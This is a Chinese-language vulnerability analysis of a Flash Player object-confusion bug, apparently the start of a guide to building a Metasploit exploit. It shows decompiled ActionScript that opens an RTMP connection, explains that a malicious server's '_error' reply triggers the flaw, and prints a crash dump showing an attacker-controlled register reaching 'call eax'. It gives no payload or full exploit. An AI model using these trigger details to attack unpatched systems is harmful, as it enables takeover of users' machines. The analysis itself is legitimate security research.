上个月爆了一个Adobe Flash的漏洞,影响Windows, Macintosh和Linux平台下的Adobe Flash Player 11.2.202.233和之前版本,Android 4.x下Adobe Flash Player 11.1.115.7及之前版本,Android 3.x和2.x下的Adobe Flash Player 11.1.111.8及之前版本存在一个对象混淆引起的严重漏洞。这个漏洞可导致应用程序崩溃或可能允许攻击者完全控制受影响系统。根据报告,此漏洞目前在网络上已经积极被利用,通过诱使用户点击嵌入到Email消息中的以文件来触发。利用的程序目标针对windows平台上的Flash Player。今天我们来研究一下如何在Metasploit中编写该漏洞的EXP。最初我们发现了这个漏洞的样本,并开始分SWF(Shockwave文件),我们发现该漏洞利用SWF堆喷射技术使攻击者可以操纵应用程序的内存分配,可以控制内存特定的区域,然后可以执行任意shellcode。但是我们并没有在实际环境中触发该漏洞。经过更多的测试之后,我们认为该漏洞很有可能是由于在RTMP传递数据的时候处理AMF (Action Message Format)发生的问题。
复制代码
代码如下:
public function v42(_arg1:String):void{// The NetConnection class creates a two-way connection// between a client and a server. The client can be a Flash// Player or AIR application. The server can be a web server,//Flash Media Server, an application server running Flash Remoting, or the Adobe Stratus servicethis.v15 = new NetConnection();var _local2 = \”rtmp://\”;var _local3 = \”/TSGeneralSetting\”;var _local4:String = ((_local2 + _arg1) + _local3);// Creates a two-way connection to an application on Flash Media Server or to Flash Remoting, or creates a two-way// network endpoint for RTMFP peer-to-peer group communicationthis.v15.connect(_local4);// Calls a command or method on Flash Media Server or on an application server running Flash Remotingthis.v15.call(\”systemMemoryCall\”, this.v16, \”argc\”);}
我们建立了一个自己的Flash Media Server来检测数据传输时的信息。如下图:第一个猜测是在systemMemoryCall()的响应解析时可能会触发漏洞,但是我们的RTMP服务器没有识别到该函数的调用,而且返回了一个AMF的错误信息。进一步测试我们捕获受感染机器与RTMP服务器之间的RTMP通信,如下图:恶意RTMP服务器响应的“_error”信息如下,看起来如下:
Field Name
Type
Description Command NameString_error indicates an errorTransaction IDNumberTransaction IDInformationObjectName-value pairs that describe the response from|the server ‘code’, ‘level’, ‘description’ are names of few.运行了RTMP “_error” 响应之后,我们终于能够让Adobe Flash触发该漏洞,如下:
复制代码
代码如下:
(348.540): Access violation – code c0000005 (first chance)First chance exceptions are reported before any exception handling.This exception may be expected and handled.eax=02dbac01 ebx=0013e2e4 ecx=02dbac10 edx=44444444 esi=02dbac11 edi=00000000eip=104b1b2d esp=0013e2bc ebp=0013e2c8 iopl=0 nv up ei pl nz na po nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00050202Flash32_11_2_202_228!DllUnregisterServer+0x300e84:104b1b2d 8b422c mov eax,dword ptr [edx+2Ch]ds:0023:44444470=???????? 0:000> u eipFlash32_11_2_202_228!DllUnregisterServer+0x300e84:104b1b2d 8b422c mov eax,dword ptr [edx+2Ch]104b1b30 53 push ebx104b1b31 ffd0 call eax